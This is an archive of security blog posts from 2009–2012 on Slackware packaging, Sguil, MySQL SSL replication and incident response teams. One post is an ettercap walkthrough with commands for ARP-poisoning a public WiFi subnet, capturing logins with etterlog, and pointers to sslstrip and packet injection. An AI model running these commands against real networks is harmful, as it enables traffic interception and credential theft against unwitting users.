Eating Security

Flocon 2012

2012-01-04T10:45:00.001-05:00

Flocon 2012 is January 9-12, which is next week. It's fairly late, but I believe registration is still open. The schedule includes speakers from many organizations and looks quite interesting. I will be attending and am looking forward to it.

Happy New Year!

Recent Advances in Intrusion Detection 2011

2011-09-14T18:32:00.003-04:00

For anyone still following despite my infrequent posting, I will be going to the International Symposium on Recent Advances in Intrusion Detection next week. I haven't made time to attend a conference in quite a while, so I'm looking forward to it.

If anyone that knows me is attending and interested in getting together, let me know. If you know me either online or in meatspace, hopefully that means you know how to reach me.

This post doubled my number of blog posts to date for 2011. The most likely next post will be covering anything interesting from the conference. Beyond that, I don't anticipate much posting activity in the near future for a number of reasons.

Using ettercap for ARP poisoning

2011-02-28T21:01:00.006-05:00

Ettercap is certainly nothing new, and there is plenty of documentation around to see how to use it, but I was sitting here goofing around and decided to record my results. I am not advocating this type of thing on a public network, and ARP poisoning or other attacks often fall afoul of terms of service for public and private networks, and may even be illegal in some jurisdictions.

First, I looked at my default route.

$ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.71.0.0       0.0.0.0         255.255.255.0   U     2      0        0 wlan0
0.0.0.0         10.71.0.1       0.0.0.0         UG    0      0        0 wlan0

To sniff the whole subnet, I'll want to do some ARP poisoning to send all traffic to/from the default route through my system.

$ sudo ettercap -i wlan0 -T -M arp:remote /10.71.0.1/ //

You can also use "// //" to designate ARP poisoning no matter what source and destination ettercap sees. The "-T" tells ettercap to use the text interface, which is still interactive. There is also a curses-based interface, "-C", and GTK with "-G" though it has always seemed less reliable to me than the others. The curses interface is actually pretty nice.

Once you run the command, ettercap should enumerate hosts and you will start seeing a bunch of traffic information scrolling through your console. How do we know if it's actually working? If you see non-broadcast traffic destined for other hosts, it will be obvious and you will know you're successfully sniffing all the traffic.

Another fun way is by opening etherape to see a realtime visualization of the traffic. If you are seeing typical non-broadcast traffic like HTTP, HTTPS, that's an indicator that you're successfully ARP poisoning. You can also get a quick idea if there are particular hosts getting a lot of traffic activity. I've seen the typical sites like Facebook, Amazon, Akamai, and LLNW, but also more interesting sites that are easily identifiable as VPN concentrators, banks, and more.

You can also of course use various tools including ettercap with the "-w" option to write traffic to a file and review at my leisure to look for interesting data. Ettercap also has an interesting utility to automatically grab usernames and passwords. From the man page:

       -L, --log
              Log all the packets to binary files. These files can be parsed
              by etterlog(8) to extract human readable data. With this option,
              all packets sniffed by ettercap will be logged, together with
              all the passive info (host info + user & pass) it can collect.
              Given a LOGFILE, ettercap will create LOGFILE.ecp (for packets)
              and LOGFILE.eci (for the infos).

If you didn't run this with ettercap originally, you can also run it on a saved packet capture.

$ ettercap -r hotel.raw -L hotel

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Please select an User Interface

$ ls hotel*

hotel.eci  hotel.ecp  hotel.raw

$ etterlog -a hotel.eci 

etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Log file version    : NG-0.7.3
Timestamp           : Wed Feb 16 14:20:57 2010
Type                : LOG_INFO

Number of hosts (total)       : 248

Number of local hosts         : 30
Number of non local hosts     : 0
Number of gateway             : 0

Number of discovered services : 240
Number of accounts captured   : 4

$ etterlog -p hotel.eci

74.125.93.191   TCP 80     USER: fakeuser      PASS: fakepasswd

I changed the data above and of course most sites these days are hopefully forcing encrypted logins.

These days, many sites can be hosted on one IP or virtual server. If you're not catching the DNS or HTTP request specifically before the login that was captured, the easiest way to determine which site on a specific IP was being visited would be opening up the packet capture with a tool like Wireshark, using a filter for the IP, then looking at the actual web traffic for the site's name. Looking in Wireshark, I can see the GET immediately after the TCP handshake.

GET /members/bbs/showthread.php HTTP/1.1
Host: www.fakedomain.com

This really just scratches the surface of what you can do with ettercap and other network tools. ARP poisoning still works, particularly on public networks, and many people log in to many services that can be easily compromised through sniffing (I write while sitting in an airport on public WiFi logged into my blogger account). A relatively recent high profile example was when the Metasploit site was briefly hijacked by successful ARP poisoning.

There are numerous other attacks besides sniffing that could succeed when ARP poisoning, many involving redirecting traffic or injecting malicious content. For instance, you can use something like sslstrip to redirect all HTTPS traffic to HTTP, grabbing credentials in the process. You could also inject content directly using etterfilter.

 DESCRIPTION
       The etterfilter utility is used to compile  source  filter  files  into
       binary  filter  files that can be interpreted by the JIT interpreter in
       the ettercap(8) filter engine. You have to compile your filter  scripts
       in  order  to  use  them  in  ettercap. All syntax/parse errors will be
       checked at compile time, so you will  be  sure  to  produce  a  correct
       binary filter for ettercap.

Using etterfilter you can inject new packets, replace data in packets, and more. If someone is visiting what they consider a known safe site, replacing data or injecting malicious packets can be quite successful. At a previous job, we had a non-production network for attack and defend fun, and with etterfilter I was able to replace all image requests by one of my colleagues' browser and instead have it request the image to the left.

Although my example above is obviously on a wireless network as shown by using the wlan0 interface, you can easily perform ARP poisoning on a local wired segment. There are also a number of ways to help detect or prevent poisoning with your network appliances or software.

Finally, ettercap also has a number of interesting plugins available.
$ ettercap -P list

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Available plugins :

         arp_cop 1.1 Report suspicious ARP activity
         autoadd 1.2 Automatically add new victims in the target range
      chk_poison 1.1 Check if the poisoning had success
       dns_spoof 1.1 Sends spoofed dns replies
      dos_attack 1.0 Run a d.o.s. attack against an IP address
           dummy 3.0 A plugin template (for developers)
       find_conn 1.0 Search connections on a switched LAN
   find_ettercap 2.0 Try to find ettercap activity
         find_ip 1.0 Search an unused IP address in the subnet
          finger 1.6 Fingerprint a remote host
   finger_submit 1.0 Submit a fingerprint to ettercap's website
       gre_relay 1.0 Tunnel broker for redirected GRE tunnels
     gw_discover 1.0 Try to find the LAN gateway
         isolate 1.0 Isolate an host from the lan
       link_type 1.0 Check the link type (hub/switch)
    pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2
      pptp_clear 1.0 PPTP: Tries to force cleartext tunnel
        pptp_pap 1.0 PPTP: Forces PAP authentication
      pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation
      rand_flood 1.0 Flood the LAN with random MAC addresses
remote_browser 1.2 Sends visited URLs to the browser
       reply_arp 1.0 Simple arp responder
    repoison_arp 1.0 Repoison after broadcast ARP
   scan_poisoner 1.0 Actively search other poisoners
search_promisc 1.2 Search promisc NICs in the LAN
       smb_clear 1.0 Tries to force SMB cleartext auth
        smb_down 1.0 Tries to force SMB to not use NTLM2 key auth
     stp_mangler 1.0 Become root of a switches spanning tree

Using slackbuilds.org to create Slackware packages

2010-12-02T21:30:00.000-05:00

Sorry for the long posting hiatus but don't expect it to end. I just don't have a lot of time or material to devote to the blog right now.

I recently wanted to upgrade Postfix on my Slackware mail server. I used to use packages from LinuxPackages.net for unofficial packages, but the site has gotten less active and always had a reputation for varying package quality. My preference is using the SlackBuilds to build my own packages. It's fairly simple to download their build script, edit as needed, then build a Slackware package from source.

Since Postfix is not available from Slackware official repositories, I downloaded the SlackBuild files and then the Postfix source.

$ wget http://postfix.cs.utah.edu/source/official/postfix-2.6.8.tar.gz 
$ wget http://slackbuilds.org/slackbuilds/13.1/network/postfix.tar.gz
$ tar xvzf postfix.tar.gz
$ ls postfix/
README     postfix-2.6.8.tar.gz  postfix.info  slack-desc
doinst.sh  postfix.SlackBuild*   rc.postfix

I am using Cyrus-SASL, so it was important for me to note the following from the SlackBuild Postfix page.

This script builds postfix with support for Dovecot SASL but does not
include any support for Cyrus-SASL. If you need to enable support for
Cyrus see SASL_README in the source code.

I also noted the following from the postfix.SlackBuild file itself.

# Postfix unfortunately does not use a handy ./configure script so you
# must generate the makefiles using (what else?) "make makefiles". The
# following includes support for TLS and SASL. It should automatically
# find PCRE and DB3 support. The docs have information for adding
# additional support such as MySQL or LDAP.

I changed the "make makefile" lines from:

make makefiles \
  CCARGS='-DUSE_SASL_AUTH -DDEF_SERVER_SASL_TYPE=\"dovecot\" -DUSE_TLS' \
  AUXLIBS="-lssl -lcrypto"

to:

make makefiles CCARGS="-DUSE_SASL_AUTH -DUSE_CYRUS_SASL -DHAS_PCRE \
                 -I/usr/local/include/sasl -I/usr/include" \
                 AUXLIBS="-L/usr/local/lib -lsasl2 -L/usr/lib -lpcre"

This added Cyrus-SASL support and also fixed a problem I was having with it finding PCRE. I also changed the VERSION variable to 2.6.8 since the postfix.SlackBuild file was for 2.6.1. After the changes, all I have to do is run the postfix.SlackBuild file then use "upgradepkg" on the resulting postfix-2.6.8-iX86-1_SBo.tgz package. (Note that official packages use xz for compression now, not gzip, so they will have the extension txz).

The next package I will create using SlackBuilds is cyrus-imapd since it also is not included in Slackware. Cyrus-SASL actually has an official package, but I I've been running Cyrus for so long that I have always installed it from source. I don't remember if that is because it wasn't available as a package back in the day or just because I was using some non-standard options.

March Slackware-current: libblkid.so.1

2010-03-14T14:37:00.006-04:00

The Slackware-current updates from March 1, 2010, included updates to both the e2fsprogs package and the util-linux-ng package. An important thing to note is that libblkid was moved out of e2fsprogs and into util-linux-ng. If you search the web for libblkid.so.1, slackpkg, util-linux-ng, and e2fsprogs, you will see various forum posts about not being able to boot. This is because libblkid.so.1 is required to mount and the updates included a new kernel, which meant a lot of people updated then rebooted without having util-linux-ng installed. Booting without the library will get you error messages about libblkid.so.1 not being found when the system tries to mount the drives.

$ man libblkid
LIBBLKID(3)                                                        LIBBLKID(3)

NAME
       libblkid - block device identification library

SYNOPSIS
       #include 

       cc file.c -lblkid

DESCRIPTION
       The  libblkid  library  is used to identify block devices (disks) as to
       their content (e.g.  filesystem type) as well as extracting  additional
       information  such  as  filesystem  labels/volume  names, unique identi-
       fiers/serial numbers, etc.

If you don't already have util-linux-ng installed then make sure to install it before rebooting since the update to e2fsprogs will remove libblkid.

$ sudo slackpkg update
---snip---
$ sudo slackpkg install util-linux-ng
---snip---
$ sudo slackpkg install-new
---snip---
$ sudo slackpkg upgrade-all

If you get stuck because you ran upgrade-all, don't have util-linux-ng installed, then rebooted for the kernel update, you can boot to the Slackware install CD or DVD so you can install the old version of e2fsprogs or the new util-linux-ng. This will allow you to boot normally then fix whatever is needed, such as installing the new util-linux-ng and/or upgrading e2fsprogs.

Customizing Slackware Tcl Package for Sguil

2010-03-13T15:11:00.004-05:00

Most distributions these days are configuring their Tcl packages with --enable-threads as a default. Slackware-current switched some months back with the following in the ChangeLog.txt.

+--------------------------+
Mon Dec  7 02:13:13 UTC 2009
d/ruby-1.9.1_p243-i486-3.txz:  Rebuilt.
  Added an explicit --enable-pthread.  This is mostly to make sure that we get
  the expected option set from future releases of Ruby -- it appears that not
  only is --enable-pthread the default in ruby-1.9.1, but trying to use
  --disable-pthread doesn't work.  Furthermore, Ruby and Tcl/Tk no longer work
  together unless both Ruby and Tcl/Tk are compiled with thread support.
  Compiling Tcl/Tk with thread support has caused some problems in the past.
  If a threaded Tcl app tries to fork(), it will hang, but by now most affected
  Tcl apps (such as eggdrop) should have patches available.
  Anyway, this should fix the issues with Ruby and Tk.  Please test it, and
  report any other problems that arise.
tcl/tcl-8.5.8-i486-1.txz:  Upgraded.
  Compiled using --enable-threads, since Ruby requires it to work with Tk.
tcl/tclx-8.4-i486-3.txz:  Rebuilt.
  Recompiled using --enable-threads.
tcl/tix-8.4.3-i486-2.txz:  Rebuilt.
  Recompiled using --enable-threads.
tcl/tk-8.5.8-i486-1.txz:  Upgraded.
  Compiled using --enable-threads, since Ruby requires it to work with Tk.

+--------------------------+

The Sguil daemon will not work with threaded Tcl, so to fix this you need to build a package for the distribution of your choice with the --disable-threads configure option. In Slackware and most other distributions, it is fairly simple to customize a package.

Download Tcl from the source directory on the Slackware mirror of your choice. It should include a slack-desc file, a tcl.SlackBuild file, and the Tcl source. Modify the tcl.SlackBuild file to replace --enable-threads with --disable-threads.

./configure \
  --prefix=/usr \
  --libdir=/usr/lib${LIBDIRSUFFIX} \
  --enable-shared \
  --disable-threads \
  --enable-man-symlinks \
  --enable-man-compression=gzip \
  ${CONFARGS} \
  --build=$ARCH-slackware-linux

You may also want to modify the slack-desc to note that this is a non-threaded version. Then build the new package.

$ sh tcl.SlackBuild
---snip--- 
Slackware package /tmp/tcl-8.5.8-i486-1.txz created.

As you see, the package will get written to /tmp by default. Now replace the threaded version with the new non-threaded version.

$ sudo upgradepkg --reinstall /tmp/tcl-8.5.8-i486-1.txz
+==============================================================================
| Upgrading tcl-8.5.8-i486-1 package using /tmp/tcl-8.5.8-i486-1.txz
+==============================================================================

Pre-installing package tcl-8.5.8-i486-1...

Removing package /var/log/packages/tcl-8.5.8-i486-1-upgraded-2010-03-13,20:03:22...

Verifying package tcl-8.5.8-i486-1.txz.
Installing package tcl-8.5.8-i486-1.txz:
PACKAGE DESCRIPTION:
# tcl (Tool Command Language)
#
# Tcl, developed by Dr. John Ousterhout, is a simple to use text-based
# script language with many built-in features which make it especially
# nice for writing interactive scripts.
#
# This is a version customized by nr that uses --disable-threads.
#
Executing install script for tcl-8.5.8-i486-1.txz.
Package tcl-8.5.8-i486-1.txz installed.

Package tcl-8.5.8-i486-1 upgraded with new package /tmp/tcl-8.5.8-i486-1.txz.

Security News and Reporting Gets a New Blog

2010-01-01T14:15:00.002-05:00

Brian Krebs announced on 24 December that his last day at The Washington Post Company would be 31 December. Krebs will continue to blog at Krebs on Security. He has a good history of security reporting, and generally concentrates on investigative reporting and analysis.

He notes:

With a few exceptions, I will continue to eschew chasing the security story-of-the day, as there are plenty of sites you can go for that. My focus will remain on publishing information and reporting that you won’t find anywhere else – and with a minimum of editorializing.

I see this as a good description of his work and his first story, Virus Scanners for Virus Authors, is a good example of the type of reporting he has handled over recent years.

SNAFU: Peer-to-peer and Sensitive Information

2009-11-19T06:18:00.013-05:00

A lot of people noticed the recent Congressional ethics probe that was disclosed because a junior staff member put a sensitive document on her computer at home. Not surprisingly, her computer also had file-sharing software installed and she inadvertently was sharing the document on a peer-to-peer network. Some are calling for a review of congressional cybersecurity policies after the breach. One thing to remember is that this sort of thing is not unique, new or surprising.

David Bianco wrote about a similar topic in 2006 and covers the important points, though I would add that the problem also extends to personal systems, not just mobile devices. Whether the vulnerability is a mobile device that is easily lost or stolen (laptop, smart-phone, music player, etc), or a personal system running software that would never be allowed in a work environment, don't put sensitive information on systems that are difficult to control.

SANS WhatWorks in Incident Detection Summit 2009

2009-11-17T08:12:00.003-05:00

I am scheduled to be a part of several discussion panels at the SANS WhatWorks in Incident Detection Summit 2009 on 9-10 December. There are a lot of good speakers participating and the agenda will cover many topics related to incident detection. I believe there is still space available for anyone that is interested in attending.

From SANS:

Following the success of the 2008 and 2009 editions of the SANS WhatWorks in Forensics and Incident Response Summits, SANS is teaming with Richard Bejtlich to create a practioner-focused event dedicated to incident detection operations. The SANS Incident Detection Summit will share tools, tactics, and techniques practiced by more than 40 of the world's greatest incident detectors in two full days of content consisting of keynotes, expert briefings, and dynamic panels.

http://www.sans.org/incident-detection-summit-2009/

Hackintosh Dell Mini 9

2009-10-19T22:23:00.007-04:00

I have been playing with a Dell Mini 9 running Mac OS 10.5.8 for the past couple days. It's pretty nice for a tiny laptop. There are a few guides on the Internet showing how to set it up, including one on mydellmini.com and another on Gizmodo.

If you want a small laptop running Mac OSX, this is a pretty cool. The Dell outlet sometimes still has these laptops, but remember to factor in that they are old and need a larger SSD. Also take into account that installing even a retail copy of OSX on non-Apple hardware may violate their EULA.

Adding GeoIP to the Sguil Client

2009-10-12T02:55:00.005-04:00

This is a post I meant to publish months ago, but for some reason slipped off my radar. I was reading the Sguil wishlist on NSMWiki and saw something that looked simple to implement. Here are a couple diffs I created after adding a menu item for GeoIP in sguil.tk and a proc for it in lib/extdata.tcl. All I did was copy the existing DShield proc and menu items, then edit as needed to change the URL and menu listings.

I think it should work and I downloaded a pristine copy of the files before running diff since I've hacked Sguil files previously, but no warranty is assumed or implied, et cetera.

Ideally, I would love to help out and tackle some of the other items on the wishlist. My time constraints make it hard, but at least I now have a Tcl book.

sguil.tk

2865a2866
> .ipQueryMenu add cascade -label "GeoIP Lookup" -menu $ipQueryMenu.geoIPMenu
2873a2875,2876
> menu $ipQueryMenu.geoIPMenu -tearoff 0 -background $SELECTBACKGROUND -foreground $SELECTFOREGROUND \
> -activeforeground $SELECTBACKGROUND -activebackground $SELECTFOREGROUND
2917a2921,2922
> $ipQueryMenu.geoIPMenu add command -label "SrcIP" -command "GetGeoIP srcip"
> $ipQueryMenu.geoIPMenu add command -label "DstIP" -command "GetGeoIP dstip"

lib/extdata.tcl

211a212,243
> proc GetGeoIP { arg } {
>
>     global DEBUG BROWSER_PATH CUR_SEL_PANE ACTIVE_EVENT MULTI_SELECT
>
>     if { $ACTIVE_EVENT && !$MULTI_SELECT} {
>
>         set selectedIndex [$CUR_SEL_PANE(name) curselection]
>
>         if { $arg == "srcip" } {
>             set ipAddr [$CUR_SEL_PANE(name) getcells $selectedIndex,srcip]
>         } else {
>             set ipAddr [$CUR_SEL_PANE(name) getcells $selectedIndex,dstip]
>         }
>
>         if {[file exists $BROWSER_PATH] && [file executable $BROWSER_PATH]} {
>
>             # Launch browser
>             exec $BROWSER_PATH http://www.geoiptool.com/?IP=$ipAddr &
>
>         } else {
>
>             tk_messageBox -type ok -icon warning -message\
>               "$BROWSER_PATH does not exist or is not executable. Please update the BROWSER_PATH variable\
>               to point your favorite browser."
>             puts "Error: $BROWSER_PATH does not exist or is not executable."
>
>         }
>
>     }
>
> }
>

MySQL replication on RHEL

2009-09-15T05:28:00.005-04:00

I recently configured MySQL for replication after first enabling SSL connections between the two systems that would be involved with replication. I have to say that MySQL documentation is excellent and all these notes are simply based on what is available on the MySQL site. I have included links to as many of the relevant sections of the documentation as possible.

For reference, here is the MySQL manual on enabling SSL: 5.5.7.2. Using SSL Connections

Before beginning, it is a good idea to create a directory for the SSL output files and make sure all the files end up there.

MySQL’s RHEL5 packages from mysql.com support SSL by default, but to check you can run:

$ mysqld --ssl --help
mysqld  Ver 5.0.67-community-log for redhat-linux-gnu on i686 (MySQL Community Edition (GPL))Copyright (C) 2000 MySQL AB, by Monty and others
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL license

Starts the MySQL database server

Usage: mysqld [OPTIONS]

For more help options (several pages), use mysqld --verbose --help

The command will create an error if there is no SSL support.

Next, check that the MySQL server has SSL enabled. The below output means that the server supports SSL but it is not enabled. Enabling it can be done at the command line or in the configuration file, which will be detailed later.

$ mysql -u username -p -e"show variables like 'have_ssl'"
Enter password:
+---------------+----------+
| Variable_name | Value    |
+---------------+----------+
| have_ssl      | DISABLED |
+---------------+----------+

Documentation on setting up certificates:
5.5.7.4. Setting Up SSL Certificates for MySQL

First, generate the CA key and CA certificate:

$ openssl genrsa 2048 > mysql-ca-key.pem
Generating RSA private key, 2048 bit long modulus
............................................+++
............+++

$ openssl req -new -x509 -nodes -days 356 -key mysql-ca-key.pem > mysql-ca-cert.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Berkshire]:California
Locality Name (eg, city) [Newbury]:Burbank
Organization Name (eg, company) [My Company Ltd]:Acme Road Runner Traps
Organizational Unit Name (eg, section) []:Acme IRT
Common Name (eg, your name or your server's hostname) []:mysql.acme.com
Email Address []:acme-irt@acme.com

Create the server certificate:

$ openssl req -newkey rsa:2048 -days 365 -nodes -keyout mysql-server-key.pem >
mysql-server-req.pem

Generating a 2048 bit RSA private key
.............................+++
.............................................................+++
writing new private key to 'mysql-server-key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Berkshire]:California
Locality Name (eg, city) [Newbury]:Burbank
Organization Name (eg, company) [My Company Ltd]:Acme Road Runner Traps
Organizational Unit Name (eg, section) []:Acme IRT
Common Name (eg, your name or your server's hostname) []:mysql.acme.com
Email Address []:acme-irt@acme.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:

$ openssl x509 -req -in mysql-server-req.pem -days 356 -CA mysql-ca-cert.pem -CAkey mysql-ca-key.pem
-set_serial 01 > mysql-server-cert.pem
Signature ok
subject=/C=US/ST=California/L=Burbank/O=Acme Road Runner Traps/OU=Acme IRT/CN=
mysql.acme.com/emailAddress=acme-irt@acme.com
Getting CA Private Key

Finally, create the client certificate:

$ openssl req -newkey rsa:2048 -days 356 -nodes -keyout mysql-client-key.pem >
mysql-client-req.pem
Generating a 2048 bit RSA private key
................+++
.................+++
writing new private key to 'mysql-client-key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Berkshire]:California
Locality Name (eg, city) [Newbury]:Burbank
Organization Name (eg, company) [My Company Ltd]:Acme Road Runner Traps
Organizational Unit Name (eg, section) []:Acme IRT
Common Name (eg, your name or your server's hostname) []:mysql.acme.com
Email Address []:acme-irt@acme.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:

$ openssl x509 -req -in mysql-client-req.pem -days 356 -CA mysql-ca-cert.pem
-CAkey mysql-ca-key.pem -set_serial 01 > mysql-client-cert.pem
Signature ok
subject=/C=US/ST=California/L=Burbank/O=Acme Road Runner Traps/OU=Acme
IRT/CN=mysql.acme.com/emailAddress=acme-irt@acme.com
Getting CA Private Key

[nr@mysqld mysqlcerts]$ ls
mysql-ca-cert.pem      mysql-client-key.pem   mysql-server-key.pem
mysql-ca-key.pem       mysql-client-req.pem   mysql-server-req.pem
mysql-client-cert.pem  mysql-server-cert.pem

To enable SSL when starting mysqld, the following should be in /etc/my.cnf under the [mysqld] section. For this example, I put the files in /etc/mysql/openssl:

ssl-ca="/etc/mysql/openssl/mysql-ca-cert.pem"
ssl-cert="/etc/mysql/openssl/mysql-server-cert.pem"
ssl-key="/etc/mysql/openssl/mysql-server-key.pem"

To use any client, for instance mysql from the command line or the GUI MySQL Administrator, copy the client cert and key to a dedicated folder on the local box along with ca-cert. You will have to configure the client to use the client certificate, client key, and CA certificate.

To connect with the mysql client using SSL, copy the client certificates to a folder, for instance /etc/mysql, then under the [client] section in /etc/my.cnf:

ssl-ca="/etc/mysql/openssl/mysql-ca-cert.pem"
ssl-cert="/etc/mysql/openssl/mysql-client-cert.pem"
ssl-key="/etc/mysql/openssl/mysql-client-key.pem"

In MySQL Administrator, the following is an example you would put into the Advanced Parameters section if you want to connect using SSL.

SSL_CA U:/keys/mysql-ca-cert.pem
SSL_CERT U:/keys/mysql-client-cert.pem
SSL_KEY U:/keys/mysql-client-key.pem
USE_SSL Yes

Replication

Before configuring replication, I made sure to review the MySQL replication documentation.

16.1.1.1. Creating a User for Replication
Because MySQL stores the replication user’s name and password using plain text in the master.info file, it’s recommended to create a dedicated user that only has the REPLICATION SLAVE privilege. The replication user needs to be created on the master so the slaves can connect with that user.

GRANT REPLICATION SLAVE ON *.* TO 'repl'@'192.168.1.50' IDENTIFIED BY ‘password’;

16.1.1.2. Setting the Replication Master Configuration
Edit my.cnf to uncomment the “log-bin” line. Also uncomment “server-id = 1”. The server-id can be anything between 1 and 2^32 but must be unique.

Also add “expire_logs_days” to my.cnf. If you don’t, the binary logs could fill up the disk partition because they are not deleted by default!

expire_log_days = 4

16.1.1.3. Setting the Replication Slave Configuration
Set server-id to something different from the master in my.cnf. Although not required, enabling binary logging on the slave is also recommended for backups, crash recovery, and in case the slave will also be a master to other systems.

16.1.1.4. Obtaining the Master Replication Information
I flush the tables to disk and lock them to temporarily prevent changes.

# mysql -u root -p -A dbname
mysql> FLUSH TABLES WITH READ LOCK;
Query OK, 0 rows affected (0.00 sec)

If the slave already has data from master, then you may want to copy over data manually to simplify things, 16.1.1.6. Creating a Data Snapshot Using Raw Data Files. However, you can also use mysqldump, as shown in Section 16.1.1.5, “Creating a Data Snapshot Using mysqldump”.

Once the data is copied over to the slave, I get the current log position.

Mysql> SHOW MASTER STATUS;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000002 | 16524487 |              |                  |
+------------------+----------+--------------+------------------+ 
1 row in set (0.00 sec)

mysql> UNLOCK TABLES;

16.1.1.10. Setting the Master Configuration on the Slave
Finally, configure the slave. The log file and log position tell the slave where to begin replication. All changes after that log position will be replicated to the slave.

mysql> CHANGE MASTER TO
->     MASTER_HOST=’192.168.1.50’,
->     MASTER_USER=’repl’,
->     MASTER_PASSWORD='replication_password',
->     MASTER_LOG_FILE=’ mysql-bin.000002’,
->     MASTER_LOG_POS=16524487,
->     MASTER_SSL=1,
->     MASTER_SSL_CA = '/etc/mysql/openssl/mysql-ca-cert.pem',
->     MASTER_SSL_CAPATH='/etc/mysql/openssl/',
->     MASTER_SSL_CERT = '/etc/mysql/openssl/mysql-server-cert.pem',
->     MASTER_SSL_KEY = '/etc/mysql/openssl/mysql-server-key.pem';
Query OK, 0 rows affected (0.74 sec)  

mysql> START SLAVE;

Replication can start!
The slave status can be checked via the following command:

mysql> show slave status;

Two years

2009-09-06T01:00:00.003-04:00

It has been two years since I started this blog. Here is a quick recap of notable posts that consistently get a substantial number of page views.

IR/NSM:

System Administration:

Building an IR Team: Documentation

2009-07-15T05:19:00.007-04:00

My third post on building an Incident Response (IR) team covers documentation. The first post was Building an IR Team: People, followed by Building an IR Team: Organization.

Good documentation promotes good communication and effective analysts. Documentation is not sexy, and can even be downright annoying to create and maintain, but it is absolutely crucial. Making it as painless and useful as possible will be a huge benefit to the IR team.

Since documentation and communication are so intertwined, I had planned on making one post to cover both topics. However, the amount of material I have for documentation made me decide to do a future post, Building an IR Team: Communication, and concentrate on keeping this post to a more digestible size.

There are quite a few different areas where a Computer Incident Response Team (CIRT) will need good documentation.

Incident Tracking
Since I am writing about computer IR teams, it is obvious that the teams will be dealing with digital security incidents. For an enterprise, you will almost certainly need a database back-end for your incidents. Even smaller environments may find it best to use a database to track incidents.You will need some sort of incident tracking system for many reasons, including but not necessarily limited to the following.

Tracking of incident status and primary responder(s)
Incident details
Response details and summary
Trending, statistics and other analysis

Tracking the status and who is responsible for specific incidents is one of the primary reasons for incident tracking. Some off-the-shelf software can support incident tracking, for instance help desk ticketing software or other tasking software. This type of software will certainly support the basic needs like status (assigned, in progress, open, closed, etc) and who the incident is assigned to.

However, off-the-shelf software may not have great support for the incident details. A great example is IP addresses and ports. Logging IP addresses, names of systems, ports if applicable, and what type of vulnerability was exploited can be extremely useful for trending, statistics, and historical analysis. A field for IP addresses can probably be more easily be queried than a full text field that contains IP addresses. If I see that a particular IP address successfully attacked two systems in the previous shift, or a particular type of exploit was used successfully on two systems, I want to be able to quickly check and see how many times it happened in the past week. I also want to be able to pull that data out and use it to query my NSM data to see if there was similar activity that garnered no response from analysts.

Reponse details can be thought of as a log that is updated throughout the incident, from discovery to resolution. Having the details to look back on is extremely useful. You can use the details for a technical write-up, an executive summary, to recreate incidents in a lab environment, for training, lessons learned, and more. My general thought process is that the longer it takes to document an incident, the more likely the documentation is to be useful.

Trending and statistical analysis can be used to help guide future response and look back at previous activity for anything that was missed, as I already mentioned. It is also extremely useful for reports to management that can also be used to help gain political capital within the organization. What do I mean by political capital?

Say you have noticed anecdotally that you are getting owned by web servers over HTTP, but the malicious sites are usually known to be malicious, for instance when searching Google or using a anti-malware toolbar. Your company has no web proxy and you recommend one with the understanding that most of the malicious sites would be blocked by the web proxy. The problem is that the networking group does not want to re-engineer or reconfigure, and upper management does not think it is worth the money. With a thorough report and analysis using the information from incident tracking, and by using that data to show the advantages of the proxy solution, you could provide the CIRT or SOC management the political capital they need to get things moving when faced with other parts of the company that resist.

Standard Operating Procedures (SOP)
Although analysts performing IR need to be able to adapt and the tasks can be fluid, a SOP is still important for a CIRT. A SOP can cover a lot of material, including IR procedures, notification and contact information, escalation procedures, job functions, hours of operation, and more. A good SOP might even include the CIRT mission statement and other background to help everyone understand the underlying purpose and mission of the group.

The main goal of a SOP should be to document and detail all the standard or repetitive procedures, and it can even provide guidance on what to do if presented with a situation that is not covered in the SOP. As an example, a few bullet points of sections that might be needed in a SOP are:

Managing routine malware incidents
Analyzing short term trends
Researching new exploits and malicious activity
Overview of security functions and tools, e.g. NSM
More detailed explanation and basic usage information for important tools, e.g. how to connect to Sguil and who are the administrators of the system

Although a SOP will not cover every situation, the goal should be to make the team more efficient and provide a reference for tasks or procedures that are used repeatedly. I'm not a fan of hand-holding and like analysts to try and figure things out on their own, so I don't mind if analysts use different methods as long as the end results are consistent in both accuracy and format.

I also like analysts to think about the most efficient way to analyze an incident. Some may gather information and investigate using slightly different methodology, but each analyst should understand that something simple should be checked before something that takes a lot of time, particularly when the value of the information returned will be roughly equal. The analysis should use what my boss likes to call the "Does it make sense?" test. Gathering some of the simplest and most straightforward information first will usually point you in the right direction, and a SOP can help show how to do this.

Knowledge Base
A knowledge base can take many different forms and contains different types of information than SOP, though there also may be overlap. There are specific knowledge base applications, wikis, simple log applications, and even ticketing or tasking systems that provide some functionality for an integrated knowledge base. A knowledge base will often contain technical information, technical references, HOWTOs, white papers, troubleshooting tips, and various other types of notes and information.

One of my favorite options for a knowledge base is a wiki. You can see various open knowledge bases that are using wikis, for instance NSMWiki and Emerging Threats Documentation Wiki, but if you want organization- and job-specific knowledge bases then you will also need something to hold the information for your CIRT.

